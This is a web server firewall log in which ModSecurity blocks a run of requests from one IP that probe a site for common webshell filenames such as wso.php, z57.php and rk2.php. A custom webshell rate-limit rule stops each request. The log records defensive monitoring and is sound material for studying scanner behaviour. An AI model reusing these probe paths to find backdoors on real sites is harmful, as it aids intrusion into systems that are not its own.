[Tue Dec 09 20:32:44.650411 2025] [:error] [pid 36456:tid 36469] [client 4.190.219.177:59793] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aTgW7B0pAnOyfXl_v40qXgAAAIs"]
[Tue Dec 09 20:32:45.224917 2025] [:error] [pid 36456:tid 36459] [client 4.190.219.177:59777] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aTgW7R0pAnOyfXl_v40qYAAAAIE"]
[Tue Dec 09 20:32:45.656648 2025] [:error] [pid 30591:tid 30601] [client 4.190.219.177:64208] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aTgW7RG-g76drVdWQUV6WwAAAEc"]
[Tue Dec 09 20:32:45.991963 2025] [:error] [pid 30498:tid 30525] [client 4.190.219.177:57223] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aTgW7R2mcZJQ5qP_RC0yrAAAABc"]
[Tue Dec 09 20:32:46.440895 2025] [:error] [pid 30591:tid 30597] [client 4.190.219.177:57235] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aTgW7hG-g76drVdWQUV6XQAAAEM"]
[Tue Dec 09 20:32:47.079217 2025] [:error] [pid 30498:tid 30509] [client 4.190.219.177:11005] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aTgW7x2mcZJQ5qP_RC0yrgAAAAc"]
[Tue Dec 09 20:32:47.584004 2025] [:error] [pid 30500:tid 30558] [client 4.190.219.177:59833] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aTgW762eIIK3JPWHCXXhCQAAAYE"]
[Tue Dec 09 20:32:48.012099 2025] [:error] [pid 30591:tid 30603] [client 4.190.219.177:10950] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aTgW8BG-g76drVdWQUV6XwAAAEk"]
[Tue Dec 09 20:32:48.456642 2025] [:error] [pid 30591:tid 30600] [client 4.190.219.177:40563] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aTgW8BG-g76drVdWQUV6YQAAAEY"]
[Tue Dec 09 20:32:49.066971 2025] [:error] [pid 30500:tid 30564] [client 4.190.219.177:62650] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/144.php"] [unique_id "aTgW8a2eIIK3JPWHCXXhEAAAAYc"]
[Tue Dec 09 20:32:49.414386 2025] [:error] [pid 5276:tid 5279] [client 4.190.219.177:57262] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/144.php"] [unique_id "aTgW8UtSXwbewdwyu-1t2gAAAME"]
[Tue Dec 09 20:32:49.719521 2025] [:error] [pid 30591:tid 30594] [client 4.190.219.177:64223] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/144.php"] [unique_id "aTgW8RG-g76drVdWQUV6ZAAAAEA"]
[Tue Dec 09 20:32:50.190545 2025] [:error] [pid 5276:tid 5291] [client 4.190.219.177:10997] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/144.php"] [unique_id "aTgW8ktSXwbewdwyu-1t3AAAAM0"]
[Tue Dec 09 20:32:50.573628 2025] [:error] [pid 5276:tid 5284] [client 4.190.219.177:10967] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dox.php"] [unique_id "aTgW8ktSXwbewdwyu-1t3QAAAMY"]
[Tue Dec 09 20:32:50.868094 2025] [:error] [pid 36456:tid 36472] [client 4.190.219.177:62640] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dox.php"] [unique_id "aTgW8h0pAnOyfXl_v40qawAAAI4"]
[Tue Dec 09 20:32:51.268126 2025] [:error] [pid 30500:tid 30581] [client 4.190.219.177:62655] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dox.php"] [unique_id "aTgW862eIIK3JPWHCXXhIQAAAZg"]
[Tue Dec 09 20:32:51.620848 2025] [:error] [pid 36456:tid 36475] [client 4.190.219.177:57265] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dox.php"] [unique_id "aTgW8x0pAnOyfXl_v40qbQAAAJE"]
[Tue Dec 09 20:32:51.946479 2025] [:error] [pid 30591:tid 30611] [client 4.190.219.177:10985] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hehe.php"] [unique_id "aTgW8xG-g76drVdWQUV6ZgAAAFE"]
[Tue Dec 09 20:32:52.202860 2025] [:error] [pid 36456:tid 36465] [client 4.190.219.177:62625] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hehe.php"] [unique_id "aTgW9B0pAnOyfXl_v40qbgAAAIc"]
[Tue Dec 09 20:32:52.753918 2025] [:error] [pid 30498:tid 30508] [client 4.190.219.177:62603] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hehe.php"] [unique_id "aTgW9B2mcZJQ5qP_RC0ytgAAAAY"]
[Tue Dec 09 20:32:53.031280 2025] [:error] [pid 30591:tid 30617] [client 4.190.219.177:64203] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hehe.php"] [unique_id "aTgW9RG-g76drVdWQUV6ZwAAAFc"]
[Tue Dec 09 20:32:53.298424 2025] [:error] [pid 30499:tid 30544] [client 4.190.219.177:59811] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "aTgW9U0x3OqZTOPp7cn0swAAAU4"]
[Tue Dec 09 20:32:53.567388 2025] [:error] [pid 30499:tid 30534] [client 4.190.219.177:40551] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "aTgW9U0x3OqZTOPp7cn0tgAAAUQ"]
[Tue Dec 09 20:32:53.899042 2025] [:error] [pid 30591:tid 30616] [client 4.190.219.177:57217] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "aTgW9RG-g76drVdWQUV6aAAAAFY"]
[Tue Dec 09 20:32:54.185970 2025] [:error] [pid 30498:tid 30516] [client 4.190.219.177:10956] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "aTgW9h2mcZJQ5qP_RC0yuAAAAA4"]
[Tue Dec 09 20:32:54.451566 2025] [:error] [pid 36456:tid 36466] [client 4.190.219.177:64211] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aTgW9h0pAnOyfXl_v40qcQAAAIg"]
[Tue Dec 09 20:32:54.755467 2025] [:error] [pid 30591:tid 30603] [client 4.190.219.177:40517] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aTgW9hG-g76drVdWQUV6agAAAEk"]
[Tue Dec 09 20:32:55.092464 2025] [:error] [pid 30499:tid 30551] [client 4.190.219.177:59802] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aTgW900x3OqZTOPp7cn0uAAAAVU"]
[Tue Dec 09 20:32:55.467379 2025] [:error] [pid 30499:tid 30554] [client 4.190.219.177:40566] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aTgW900x3OqZTOPp7cn0ugAAAVg"]
[Tue Dec 09 20:32:55.909852 2025] [:error] [pid 30499:tid 30535] [client 4.190.219.177:10951] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/show/asa.php"] [unique_id "aTgW900x3OqZTOPp7cn0vAAAAUU"]
[Tue Dec 09 20:32:56.316889 2025] [:error] [pid 30499:tid 30545] [client 4.190.219.177:40570] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/show/asa.php"] [unique_id "aTgW-E0x3OqZTOPp7cn0vwAAAU8"]
[Tue Dec 09 20:32:56.658686 2025] [:error] [pid 30591:tid 30615] [client 4.190.219.177:40559] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/show/asa.php"] [unique_id "aTgW-BG-g76drVdWQUV6cAAAAFU"]
[Tue Dec 09 20:32:56.964327 2025] [:error] [pid 30499:tid 30539] [client 4.190.219.177:59792] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/show/asa.php"] [unique_id "aTgW-E0x3OqZTOPp7cn0wQAAAUk"]
[Tue Dec 09 20:32:57.397205 2025] [:error] [pid 30499:tid 30531] [client 4.190.219.177:59816] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xml.php"] [unique_id "aTgW-U0x3OqZTOPp7cn0wgAAAUE"]
[Tue Dec 09 20:32:57.902885 2025] [:error] [pid 36456:tid 36459] [client 4.190.219.177:59782] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xml.php"] [unique_id "aTgW-R0pAnOyfXl_v40qdAAAAIE"]
[Tue Dec 09 20:32:58.429271 2025] [:error] [pid 30500:tid 30569] [client 4.190.219.177:57252] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xml.php"] [unique_id "aTgW-q2eIIK3JPWHCXXhMwAAAYw"]
[Tue Dec 09 20:32:59.092261 2025] [:error] [pid 30500:tid 30576] [client 4.190.219.177:57240] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xml.php"] [unique_id "aTgW-62eIIK3JPWHCXXhNgAAAZM"]
[Tue Dec 09 20:32:59.531973 2025] [:error] [pid 5276:tid 5293] [client 4.190.219.177:57264] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aTgW-0tSXwbewdwyu-1t9gAAAM8"]
[Tue Dec 09 20:33:00.108979 2025] [:error] [pid 30500:tid 30574] [client 4.190.219.177:64254] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aTgW_K2eIIK3JPWHCXXhOwAAAZE"]
[Tue Dec 09 20:33:00.474439 2025] [:error] [pid 30498:tid 30509] [client 4.190.219.177:59817] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aTgW_B2mcZJQ5qP_RC0yuQAAAAc"]
[Tue Dec 09 20:33:00.822394 2025] [:error] [pid 30499:tid 30554] [client 4.190.219.177:59781] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aTgW_E0x3OqZTOPp7cn0yQAAAVg"]
[Tue Dec 09 20:33:01.456457 2025] [:error] [pid 30500:tid 30560] [client 4.190.219.177:57234] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z57.php"] [unique_id "aTgW_a2eIIK3JPWHCXXhPgAAAYM"]
[Tue Dec 09 20:33:01.773141 2025] [:error] [pid 30498:tid 30503] [client 4.190.219.177:59813] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z57.php"] [unique_id "aTgW_R2mcZJQ5qP_RC0yvQAAAAE"]
[Tue Dec 09 20:33:02.169234 2025] [:error] [pid 30499:tid 30537] [client 4.190.219.177:62618] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z57.php"] [unique_id "aTgW_k0x3OqZTOPp7cn0zAAAAUc"]
[Tue Dec 09 20:33:02.711347 2025] [:error] [pid 30498:tid 30520] [client 4.190.219.177:59808] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z57.php"] [unique_id "aTgW_h2mcZJQ5qP_RC0yvwAAABI"]
[Tue Dec 09 20:33:03.156604 2025] [:error] [pid 36456:tid 36480] [client 4.190.219.177:40522] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aTgW_x0pAnOyfXl_v40qeAAAAJY"]
[Tue Dec 09 20:33:03.608513 2025] [:error] [pid 30591:tid 30602] [client 4.190.219.177:40523] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aTgW_xG-g76drVdWQUV6fAAAAEg"]
[Tue Dec 09 20:33:03.901278 2025] [:error] [pid 30498:tid 30512] [client 4.190.219.177:63290] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aTgW_x2mcZJQ5qP_RC0ywQAAAAo"]
[Tue Dec 09 20:33:04.310123 2025] [:error] [pid 30499:tid 30546] [client 4.190.219.177:59776] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aTgXAE0x3OqZTOPp7cn0zgAAAVA"]
[Tue Dec 09 20:33:04.757512 2025] [:error] [pid 36456:tid 36475] [client 4.190.219.177:57242] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "aTgXAB0pAnOyfXl_v40qfAAAAJE"]
[Tue Dec 09 20:33:05.317840 2025] [:error] [pid 30499:tid 30552] [client 4.190.219.177:59826] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "aTgXAU0x3OqZTOPp7cn00gAAAVY"]
[Tue Dec 09 20:33:05.714895 2025] [:error] [pid 36456:tid 36462] [client 4.190.219.177:40521] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "aTgXAR0pAnOyfXl_v40qgQAAAIQ"]
[Tue Dec 09 20:33:06.166652 2025] [:error] [pid 30499:tid 30540] [client 4.190.219.177:59779] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "aTgXAk0x3OqZTOPp7cn01QAAAUo"]
[Tue Dec 09 20:33:06.522993 2025] [:error] [pid 36456:tid 36482] [client 4.190.219.177:62651] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rk2.php"] [unique_id "aTgXAh0pAnOyfXl_v40qhgAAAJg"]
[Tue Dec 09 20:33:07.033336 2025] [:error] [pid 30591:tid 30615] [client 4.190.219.177:10996] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rk2.php"] [unique_id "aTgXAxG-g76drVdWQUV6iAAAAFU"]
[Tue Dec 09 20:33:07.316411 2025] [:error] [pid 30499:tid 30539] [client 4.190.219.177:57275] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rk2.php"] [unique_id "aTgXA00x3OqZTOPp7cn02QAAAUk"]
